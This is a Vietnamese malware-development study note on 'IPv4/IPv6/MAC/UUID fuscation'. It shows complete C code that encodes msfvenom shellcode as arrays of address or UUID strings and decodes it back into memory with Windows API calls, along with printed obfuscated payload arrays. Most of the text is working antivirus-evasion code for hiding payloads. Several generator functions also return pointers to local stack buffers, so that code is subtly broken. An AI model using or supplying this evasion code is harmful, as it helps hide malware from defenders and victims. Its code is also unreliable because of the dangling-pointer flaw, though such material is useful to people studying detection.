IPv4/IPv6Fuscation

Là kỹ thuật che giấu shellcode bằng cách chuyển về các chuỗi IPv4/IPv6.

Xét đoạn byte sau từ shellcode của msfvenom:

FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52 51

Đối với IPv4 obfuscation: lấy 4 byte rồi chuyển từng byte sang hệ thập phân. Ví dụ: FC 48 83 E4 sẽ trở thành 252.72.131.228.

Đối với IPv6 obfuscation: mỗi địa chỉ sẽ cần 16-byte và chúng ta không cần phải chuyển sang hệ thập phân. Ví dụ: đoạn shellcode trên khi biểu diễn thành địa chỉ IPv6 sẽ là FC48:83E4:F0E8:C000:0000:4151:4150:5251.

IPv4Fuscation Implementation

Như đã đề cập, việc chuyển sang địa chỉ IPv4 cần một bộ 4 byte nên shellcode của chúng ta phải có kích thước là bội của 4. Nếu không, chúng ta sẽ phải đệm shellcode trước khi chuyển sang các địa chỉ IPv4. Vấn đề đệm thêm này sẽ được bàn đến sau.

Trước tiên, ta triển khai hàm để chuyển bộ 4 byte thành một địa chỉ IPv4 bằng cách sử dụng hàm sprintf:

char* GenerateIpv4(int a, int b, int c, int d) {
	unsigned char Output [32];
 
	// Creating the IPv4 address and saving it to the 'Output' variable 
	sprintf(Output, "%d.%d.%d.%d", a, b, c, d);
 
	// Optional: Print the 'Output' variable to the console
	// printf("[i] Output: %s\n", Output);
 
	return (char*)Output;
}

Hàm thực hiện che giấu shellcode:

// Generate the IPv4 output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateIpv4Output(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
 
	// If the shellcode buffer is null or the size is not a multiple of 4, exit
	if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 4 != 0){
		return FALSE;
	}
	printf("char* Ipv4Array[%d] = { \n\t", (int)(ShellcodeSize / 4));
	
	// We will read one shellcode byte at a time, when the total is 4, begin generating the IPv4 address
	// The variable 'c' is used to store the number of bytes read. By default, starts at 4.
	int c = 4, counter = 0;
	char* IP = NULL;
 
	for (int i = 0; i < ShellcodeSize; i++) {
 
		// Track the number of bytes read and when they reach 4 we enter this if statement to begin generating the IPv4 address
		if (c == 4) {
			counter++;
 
			// Generating the IPv4 address from 4 bytes which begin at i until [i + 3] 
			IP = GenerateIpv4(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3]);
 
			if (i == ShellcodeSize - 4) {
				// Printing the last IPv4 address
				printf("\"%s\"", IP);
				break;
			}
			else {
				// Printing the IPv4 address
				printf("\"%s\", ", IP);
			}
 
			c = 1;
 
			// Optional: To beautify the output on the console
			if (counter % 8 == 0) {
				printf("\n\t");
			}
		}
		else {
			c++;
		}
	}
	printf("\n};\n\n");
	return TRUE;
}

Đoạn code trên sẽ in ra shellcode đã được obfuscate có dạng như sau:

char* Ipv4Array[68] = {
        "252.72.131.228", "240.232.192.0", "0.0.65.81", "65.80.82.81", "86.72.49.210", "101.72.139.82", "96.72.139.82", "24.72.139.82",
        "32.72.139.114", "80.72.15.183", "74.74.77.49", "201.72.49.192", "172.60.97.124", "2.44.32.65", "193.201.13.65", "1.193.226.237",
        "82.65.81.72", "139.82.32.139", "66.60.72.1", "208.139.128.136", "0.0.0.72", "133.192.116.103", "72.1.208.80", "139.72.24.68",
        "139.64.32.73", "1.208.227.86", "72.255.201.65", "139.52.136.72", "1.214.77.49", "201.72.49.192", "172.65.193.201", "13.65.1.193",
        "56.224.117.241", "76.3.76.36", "8.69.57.209", "117.216.88.68", "139.64.36.73", "1.208.102.65", "139.12.72.68", "139.64.28.73",
        "1.208.65.139", "4.136.72.1", "208.65.88.65", "88.94.89.90", "65.88.65.89", "65.90.72.131", "236.32.65.82", "255.224.88.65",
        "89.90.72.139", "18.233.87.255", "255.255.93.72", "186.1.0.0", "0.0.0.0", "0.72.141.141", "1.1.0.0", "65.186.49.139",
        "111.135.255.213", "187.224.29.42", "10.65.186.166", "149.189.157.255", "213.72.131.196", "40.60.6.124", "10.128.251.224", "117.5.187.71",
        "19.114.111.106", "0.89.65.137", "218.255.213.99", "97.108.99.0"
};

IPv6Fuscation Implementation

Tương tự, chúng ta sẽ tạo ra một hàm chuyển bộ 16 byte thành địa chỉ IPv6 và cũng sẽ cần phải đệm thêm nếu kích thước của shellcode không phải là bội của 16.

// Function takes in 16 raw bytes and returns them in an IPv6 address string format
char* GenerateIpv6(int a, int b, int c, int d, int e, int f, int g, int h, int i, int j, int k, int l, int m, int n, int o, int p) {
 
	// Each IPv6 segment is 32 bytes
	char Output0[32], Output1[32], Output2[32], Output3[32];
 
	// There are 4 segments in an IPv6 (32 * 4 = 128)
	char result[128];
 
	// Generating output0 using the first 4 bytes
	sprintf(Output0, "%0.2X%0.2X:%0.2X%0.2X", a, b, c, d);
 
	// Generating output1 using the second 4 bytes
	sprintf(Output1, "%0.2X%0.2X:%0.2X%0.2X", e, f, g, h);
 
	// Generating output2 using the third 4 bytes
	sprintf(Output2, "%0.2X%0.2X:%0.2X%0.2X", i, j, k, l);
 
	// Generating output3 using the last 4 bytes
	sprintf(Output3, "%0.2X%0.2X:%0.2X%0.2X", m, n, o, p);
 
	// Combining Output0,1,2,3 to generate the IPv6 address
	sprintf(result, "%s:%s:%s:%s", Output0, Output1, Output2, Output3);
 
	// Optional: Print the 'result' variable to the console
	// printf("[i] result: %s\n", (char*)result);
 
	return (char*)result;
}

Có thể thấy, ta chuyển 4 cặp 4 byte thành dạng IPv6 rồi gộp chúng lại với nhau.

Hàm thực hiện che giấu shellcode bằng cách chuyển sang các chuỗi IPv6:

// Generate the IPv6 output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateIpv6Output(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
	// If the shellcode buffer is null or the size is not a multiple of 16, exit
	if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 16 != 0){
		return FALSE;
	}
	printf("char* Ipv6Array [%d] = { \n\t", (int)(ShellcodeSize / 16));
	
	// We will read one shellcode byte at a time, when the total is 16, begin generating the IPv6 address
	// The variable 'c' is used to store the number of bytes read. By default, starts at 16.
	int c = 16, counter = 0;
	char* IP = NULL;
	
	for (int i = 0; i < ShellcodeSize; i++) {
		// Track the number of bytes read and when they reach 16 we enter this if statement to begin generating the IPv6 address
		if (c == 16) {
			counter++;
 
			// Generating the IPv6 address from 16 bytes which begin at i until [i + 15]
			IP = GenerateIpv6(
				pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3],
				pShellcode[i + 4], pShellcode[i + 5], pShellcode[i + 6], pShellcode[i + 7],
				pShellcode[i + 8], pShellcode[i + 9], pShellcode[i + 10], pShellcode[i + 11],
				pShellcode[i + 12], pShellcode[i + 13], pShellcode[i + 14], pShellcode[i + 15]
			);
			if (i == ShellcodeSize - 16) {
 
				// Printing the last IPv6 address
				printf("\"%s\"", IP);
				break;
			}
			else {
				// Printing the IPv6 address
				printf("\"%s\", ", IP);
			}
			c = 1;
 
			// Optional: To beautify the output on the console
			if (counter % 3 == 0) {
				printf("\n\t");
			}
		}
		else {
			c++;
		}
	}
	printf("\n};\n\n");
	return TRUE;
}

Đoạn code trên sẽ in ra shellcode đã được obfuscate có dạng như sau:

char* Ipv6Array [17] = {
        "FC48:83E4:F0E8:C000:0000:4151:4150:5251", "5648:31D2:6548:8B52:6048:8B52:1848:8B52", "2048:8B72:5048:0FB7:4A4A:4D31:C948:31C0",
        "AC3C:617C:022C:2041:C1C9:0D41:01C1:E2ED", "5241:5148:8B52:208B:423C:4801:D08B:8088", "0000:0048:85C0:7467:4801:D050:8B48:1844",
        "8B40:2049:01D0:E356:48FF:C941:8B34:8848", "01D6:4D31:C948:31C0:AC41:C1C9:0D41:01C1", "38E0:75F1:4C03:4C24:0845:39D1:75D8:5844",
        "8B40:2449:01D0:6641:8B0C:4844:8B40:1C49", "01D0:418B:0488:4801:D041:5841:585E:595A", "4158:4159:415A:4883:EC20:4152:FFE0:5841",
        "595A:488B:12E9:57FF:FFFF:5D48:BA01:0000", "0000:0000:0048:8D8D:0101:0000:41BA:318B", "6F87:FFD5:BBE0:1D2A:0A41:BAA6:95BD:9DFF",
        "D548:83C4:283C:067C:0A80:FBE0:7505:BB47", "1372:6F6A:0059:4189:DAFF:D563:616C:6300"
};

Deobfuscating IPv4Fuscation Payloads

Chúng ta sẽ xây dựng hàm Ipv4Deobfuscation để deofuscate shellcode. Hàm này sẽ nhận vào:

  • Ipv4Array: là một mảng chứa các chuỗi địa chỉ IPv4.
  • NmbrOfElements: số lượng phần tử trong mảng Ipv4Array.
  • ppDAddress: con trỏ đến vùng nhớ chứa shellcode đã được deofuscate.
  • pDSize: con trỏ đến vùng nhớ chứa kích thước của shellcode đã được deofuscate.

Nguyên mẫu hàm và các biến cục bộ của hàm:

BOOL Ipv4Deobfuscation(IN CHAR* Ipv4Array[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {
 
	PBYTE           pBuffer                 = NULL, 
                    TmpBuffer               = NULL;
 
	SIZE_T          sBuffSize               = NULL;
 
	PCSTR           Terminator              = NULL;
 
	NTSTATUS        STATUS                  = NULL;
 
	// ...
 
	// Save the base address & size of the deobfuscated payload
	*ppDAddress     = pBuffer;
	*pDSize         = sBuffSize;
 
	return TRUE;
}

Về bản chất, chúng ta sẽ dùng hàm RtlIpv4StringToAddressA của Windows API để chuyển các chuỗi IPv4 thành dạng nhị phân. Để gọi hàm này, ta sẽ cần phải lấy địa chỉ của nó ở trên vùng nhớ thông qua hàm GetProcAddress và hàm GetModuleHandle.

// Getting RtlIpv4StringToAddressA address from ntdll.dll
fnRtlIpv4StringToAddressA pRtlIpv4StringToAddressA = (fnRtlIpv4StringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlIpv4StringToAddressA");
if (pRtlIpv4StringToAddressA == NULL){
	printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
	return FALSE;
}

Sau đó, ta sẽ cần phải cấp phát một buffer với kích thước là NmbrOfElements * 4 để lưu trữ shellcode đã được obfuscate do mỗi địa chỉ IPv4 sẽ tương ứng với 4-byte.

// Getting the real size of the shellcode which is the number of IPv4 addresses * 4
sBuffSize = NmbrOfElements * 4;
 
// Allocating memory which will hold the deobfuscated shellcode
pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
if (pBuffer == NULL){
	printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
	return FALSE;
}

Trước khi vào vòng lặp, ta gán TmpBuffer bằng giá trị của buffer đã được tạo (pBuffer). TmpBuffer sẽ di chuyển 4 byte một lần suốt vùng nhớ của pBuffer để ghi giá trị đã chuyển đổi bởi RtlIpv4StringToAddressA:

// Setting TmpBuffer to be equal to pBuffer
TmpBuffer = pBuffer;
 
// Loop through all the IPv4 addresses saved in Ipv4Array
for (int i = 0; i < NmbrOfElements; i++) {
 
	// Deobfuscating one IPv4 address at a time
	// Ipv4Array[i] is a single ipv4 address from the array Ipv4Array
	if ((STATUS = pRtlIpv4StringToAddressA(Ipv4Array[i], FALSE, &Terminator, TmpBuffer)) != 0x0) {
		// if it failed
		printf("[!] RtlIpv4StringToAddressA Failed At [%s] With Error 0x%0.8X", Ipv4Array[i], STATUS);
		return FALSE;
	}
 
	// 4 bytes are written to TmpBuffer at a time
	// Therefore Tmpbuffer will be incremented by 4 to store the upcoming 4 bytes
	TmpBuffer = (PBYTE)(TmpBuffer + 4);
 
}

Deobfuscating IPv6Fuscation Payloads

Mọi thứ đều giống như khi deobfuscate shellcode sử dụng IPv4Fuscation nhưng có 2 điểm khác biệt:

  1. Chúng ta sẽ sử dụng RtlIpv6StringToAddressA thay vì RtlIpv4StringToAddressA
  2. Mỗi địa chỉ IPv6 sẽ được deobfuscate thành 16-byte thay vì 4-byte.

Chúng ta sẽ xây dựng hàm Ipv6Deobfuscation để deofuscate shellcode như sau:

typedef NTSTATUS(NTAPI* fnRtlIpv6StringToAddressA)(
	PCSTR		S,
	PCSTR*		Terminator,
	PVOID		Addr
);
 
BOOL Ipv6Deobfuscation(IN CHAR* Ipv6Array[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {
 
	PBYTE           pBuffer                 = NULL, 
                    TmpBuffer               = NULL;
 
	SIZE_T          sBuffSize               = NULL;
 
	PCSTR           Terminator              = NULL;
 
	NTSTATUS        STATUS                  = NULL;
 
	// Getting RtlIpv6StringToAddressA address from ntdll.dll
	fnRtlIpv6StringToAddressA pRtlIpv6StringToAddressA = (fnRtlIpv6StringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlIpv6StringToAddressA");
	if (pRtlIpv6StringToAddressA == NULL) {
		printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
 
	// Getting the real size of the shellcode which is the number of IPv6 addresses * 16
	sBuffSize = NmbrOfElements * 16;
 
 
	// Allocating memory which will hold the deobfuscated shellcode
	pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
	if (pBuffer == NULL) {
		printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
 
	TmpBuffer = pBuffer;
 
	// Loop through all the IPv6 addresses saved in Ipv6Array
	for (int i = 0; i < NmbrOfElements; i++) {
 
		// Deobfuscating one IPv6 address at a time
		// Ipv6Array[i] is a single IPv6 address from the array Ipv6Array
		if ((STATUS = pRtlIpv6StringToAddressA(Ipv6Array[i], &Terminator, TmpBuffer)) != 0x0) {
			// if it failed
			printf("[!] RtlIpv6StringToAddressA Failed At [%s] With Error 0x%0.8X", Ipv6Array[i], STATUS);
			return FALSE;
		}
 
		// 16 bytes are written to TmpBuffer at a time
		// Therefore Tmpbuffer will be incremented by 16 to store the upcoming 16 bytes
		TmpBuffer = (PBYTE)(TmpBuffer + 16);
 
	}
 
	// Save the base address & size of the deobfuscated payload
	*ppDAddress  = pBuffer;
	*pDSize      = sBuffSize;
 
	return TRUE;
 
}

MACFucscation

Kỹ thuật sử dụng tương tự với IPv4/IPv6Fuscation nhưng thay vì chuyển địa chỉ shellcode thành địa chỉ IP, chúng ta sẽ chuyển thành địa chỉ MAC.

MACFuscation Implementation

Trước tiên, ta cũng xây dựng một hàm để chuyển bộ 6-byte thành địa chỉ MAC:

// Function takes in 6 raw bytes and returns them in a MAC address string format
char* GenerateMAC(int a, int b, int c, int d, int e, int f) {
	char Output[64];
 
	// Creating the MAC address and saving it to the 'Output' variable 
	sprintf(Output, "%0.2X-%0.2X-%0.2X-%0.2X-%0.2X-%0.2X",a, b, c, d, e, f);
 
	// Optional: Print the 'Output' variable to the console
	// printf("[i] Output: %s\n", Output);
 
	return (char*)Output;
}

Xây dựng hàm thực hiện obfuscate shellcode thành các địa chỉ MAC:

// Generate the MAC output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateMacOutput(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
 
	// If the shellcode buffer is null or the size is not a multiple of 6, exit
	if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 6 != 0){
		return FALSE;
	}
	printf("char* MacArray [%d] = {\n\t", (int)(ShellcodeSize / 6));
 
	// We will read one shellcode byte at a time, when the total is 6, begin generating the MAC address
	// The variable 'c' is used to store the number of bytes read. By default, starts at 6.
	int c = 6, counter = 0;
	char* Mac = NULL;
 
	for (int i = 0; i < ShellcodeSize; i++) {
 
		// Track the number of bytes read and when they reach 6 we enter this if statement to begin generating the MAC address
		if (c == 6) {
			counter++;
			
			// Generating the MAC address from 6 bytes which begin at i until [i + 5] 
			Mac = GenerateMAC(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3], pShellcode[i + 4], pShellcode[i + 5]);
			
			if (i == ShellcodeSize - 6) {
 
				// Printing the last MAC address
				printf("\"%s\"", Mac);
				break;
			}
			else {
				// Printing the MAC address
				printf("\"%s\", ", Mac);
			}
			c = 1;
 
			// Optional: To beautify the output on the console
			if (counter % 6 == 0) {
				printf("\n\t");
			}
		}
		else {
			c++;
		}
	}
	printf("\n};\n\n");
	return TRUE;
}

Deobfuscating MACFuscation Payloads

Để deobfuscate, ta cần sử dụng hàm RtlEthernetStringToAddressA thuộc Native API của Windows.

typedef NTSTATUS (NTAPI* fnRtlEthernetStringToAddressA)(
	PCSTR		S,
	PCSTR* 		Terminator,
	PVOID		Addr
);
 
BOOL MacDeobfuscation(IN CHAR* MacArray[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {
 
	PBYTE          pBuffer        = NULL,
                   TmpBuffer      = NULL;
 
	SIZE_T         sBuffSize      = NULL;
 
	PCSTR          Terminator     = NULL;
 
	NTSTATUS       STATUS         = NULL;
 
	// Getting RtlIpv6StringToAddressA address from ntdll.dll
	fnRtlEthernetStringToAddressA pRtlEthernetStringToAddressA = (fnRtlEthernetStringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlEthernetStringToAddressA");
	if (pRtlEthernetStringToAddressA == NULL) {
		printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
 
	// Getting the real size of the shellcode which is the number of MAC addresses * 6
	sBuffSize = NmbrOfElements * 6;
 
 
	// Allocating memeory which will hold the deobfuscated shellcode
	pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
	if (pBuffer == NULL) {
		printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
 
	TmpBuffer = pBuffer;
 
	// Loop through all the MAC addresses saved in MacArray
	for (int i = 0; i < NmbrOfElements; i++) {
 
		// Deobfuscating one MAC address at a time
		// MacArray[i] is a single Mac address from the array MacArray
		if ((STATUS = pRtlEthernetStringToAddressA(MacArray[i], &Terminator, TmpBuffer)) != 0x0) {
			// if it failed
			printf("[!] RtlEthernetStringToAddressA Failed At [%s] With Error 0x%0.8X", MacArray[i], STATUS);
			return FALSE;
		}
 
		// 6 bytes are written to TmpBuffer at a time
		// Therefore Tmpbuffer will be incremented by 6 to store the
		TmpBuffer = (PBYTE)(TmpBuffer + 6);
 
	}
 
	// Save the base address & size of the deobfuscated payload
	*ppDAddress  = pBuffer;
	*pDSize      = sBuffSize;
 
	return TRUE;
 
}

Có thể thấy, RtlEthernetStringToAddressA tương tự như RtlIpv4StringToAddressARtlIpv6StringToAddressA về nguyên mẫu hàm và giá trị trả về.

UUIDFuscation

Chúng ta có thể chuyển shellcode thành các chuỗi UUID (Universally Unique Identifier), gồm 36 ký tự số và chữ cái, thường được sử dụng để làm định danh.

UUID Structure

Cấu trúc của UUID bao gồm 5 phần có kích thước khác nhau:

Việc chuyển shellcode thành UUID sẽ có một chút khác biệt so với 2 kỹ thuật trước. Ví dụ, chuỗi shellcode FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52 51 sẽ không được chuyển thành FC4883E4-F0E8-C000-0000-415141505251 mà sẽ được chuyển thành E48348FC-E8F0-00C0-0000-415141505251. Có thể thấy, thứ tự các byte ở trong 3 phần đầu bị đảo ngược. Lý do là vì 3 phần đầu sử dụng thứ tự little-endian còn 2 phần cuối sử dụng thứ tự big-endian.

UUIDFuscation Implementation

UUID có kích thước 16 byte giống IPv6 nên ta cũng xây dựng một hàm chuyển bộ 16-byte thành một chuỗi UUID.

// Function takes in 16 raw bytes and returns them in a UUID string format
char* GenerateUUid(int a, int b, int c, int d, int e, int f, int g, int h, int i, int j, int k, int l, int m, int n, int o, int p) {
 
	// Each UUID segment is 32 bytes
	char Output0[32], Output1[32], Output2[32], Output3[32];
 
	// There are 4 segments in a UUID (32 * 4 = 128)
	char result[128];
 
	// Generating output0 from the first 4 bytes
	sprintf(Output0, "%0.2X%0.2X%0.2X%0.2X", d, c, b, a);
 
	// Generating output1 from the second 4 bytes
	sprintf(Output1, "%0.2X%0.2X-%0.2X%0.2X", f, e, h, g);
 
	// Generating output2 from the third 4 bytes
	sprintf(Output2, "%0.2X%0.2X-%0.2X%0.2X", i, j, k, l);
 
	// Generating output3 from the last 4 bytes
	sprintf(Output3, "%0.2X%0.2X%0.2X%0.2X", m, n, o, p);
 
	// Combining Output0,1,2,3 to generate the UUID
	sprintf(result, "%s-%s-%s%s", Output0, Output1, Output2, Output3);
 
	//printf("[i] result: %s\n", (char*)result);
	return (char*)result;
}

Note

Chú ý thứ tự truyền đối số của 3 phần đầu và 2 phần cuối.

Hàm che giấu shellcode bằng cách chuyển thành các chuỗi UUID:

// Generate the UUID output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateUuidOutput(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
	// If the shellcode buffer is null or the size is not a multiple of 16, exit
	if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 16 != 0) {
		return FALSE;
	}
	printf("char* UuidArray[%d] = { \n\t", (int)(ShellcodeSize / 16));
 
	// We will read one shellcode byte at a time, when the total is 16, begin generating the UUID string
	// The variable 'c' is used to store the number of bytes read. By default, starts at 16.
	int c = 16, counter = 0;
	char* UUID = NULL;
 
	for (int i = 0; i < ShellcodeSize; i++) {
		// Track the number of bytes read and when they reach 16 we enter this if statement to begin generating the UUID string
		if (c == 16) {
			counter++;
 
			// Generating the UUID string from 16 bytes which begin at i until [i + 15]
			UUID = GenerateUUid(
				pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3],
				pShellcode[i + 4], pShellcode[i + 5], pShellcode[i + 6], pShellcode[i + 7],
				pShellcode[i + 8], pShellcode[i + 9], pShellcode[i + 10], pShellcode[i + 11],
				pShellcode[i + 12], pShellcode[i + 13], pShellcode[i + 14], pShellcode[i + 15]
			);
			if (i == ShellcodeSize - 16) {
 
				// Printing the last UUID string
				printf("\"%s\"", UUID);
				break;
			}
			else {
				// Printing the UUID string
				printf("\"%s\", ", UUID);
			}
			c = 1;
			// Optional: To beautify the output on the console
			if (counter % 3 == 0) {
				printf("\n\t");
			}
		}
		else {
			c++;
		}
	}
	printf("\n};\n\n");
	return TRUE;
}

UUID Deobfuscation Implementation

Mặc cho việc 3 phần đầu có thứ tự byte khác 2 phần cuối, chúng ta vẫn có thể chuyển UUID thành dạng nhi phân bằng cách sử dụng hàm UuidFromStringA của Windows API.

typedef RPC_STATUS (WINAPI* fnUuidFromStringA)(
	RPC_CSTR	StringUuid,
	UUID*		Uuid
);
 
BOOL UuidDeobfuscation(IN CHAR* UuidArray[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {
 
        PBYTE          pBuffer         = NULL,
                       TmpBuffer       = NULL;
 
        SIZE_T         sBuffSize       = NULL;
 
        RPC_STATUS     STATUS          = NULL;
 
	// Getting UuidFromStringA address from Rpcrt4.dll
	fnUuidFromStringA pUuidFromStringA = (fnUuidFromStringA)GetProcAddress(LoadLibrary(TEXT("RPCRT4")), "UuidFromStringA");
	if (pUuidFromStringA == NULL) {
		printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
 
	// Getting the real size of the shellcode which is the number of UUID strings * 16
	sBuffSize = NmbrOfElements * 16;
 
	// Allocating memory which will hold the deobfuscated shellcode
	pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sBuffSize);
	if (pBuffer == NULL) {
		printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
 
	// Setting TmpBuffer to be equal to pBuffer
	TmpBuffer = pBuffer;
 
	// Loop through all the UUID strings saved in UuidArray
	for (int i = 0; i < NmbrOfElements; i++) {
		
		// Deobfuscating one UUID string at a time
		// UuidArray[i] is a single UUID string from the array UuidArray
		if ((STATUS = pUuidFromStringA((RPC_CSTR)UuidArray[i], (UUID*)TmpBuffer)) != RPC_S_OK) {
			// if it failed
			printf("[!] UuidFromStringA Failed At [%s] With Error 0x%0.8X", UuidArray[i], STATUS);
			return FALSE;
		}
 
		// 16 bytes are written to TmpBuffer at a time
		// Therefore Tmpbuffer will be incremented by 16 to store the upcoming 16 bytes
		TmpBuffer = (PBYTE)(TmpBuffer + 16);
 
	}
 
	*ppDAddress = pBuffer;
	*pDSize     = sBuffSize;
 
	return TRUE;
}

Có thể thấy, các bước để deobfuscate giống với 2 kỹ thuật trước.

list
from outgoing([[MalDev - Payload Obfuscation]])
sort file.ctime asc

Resources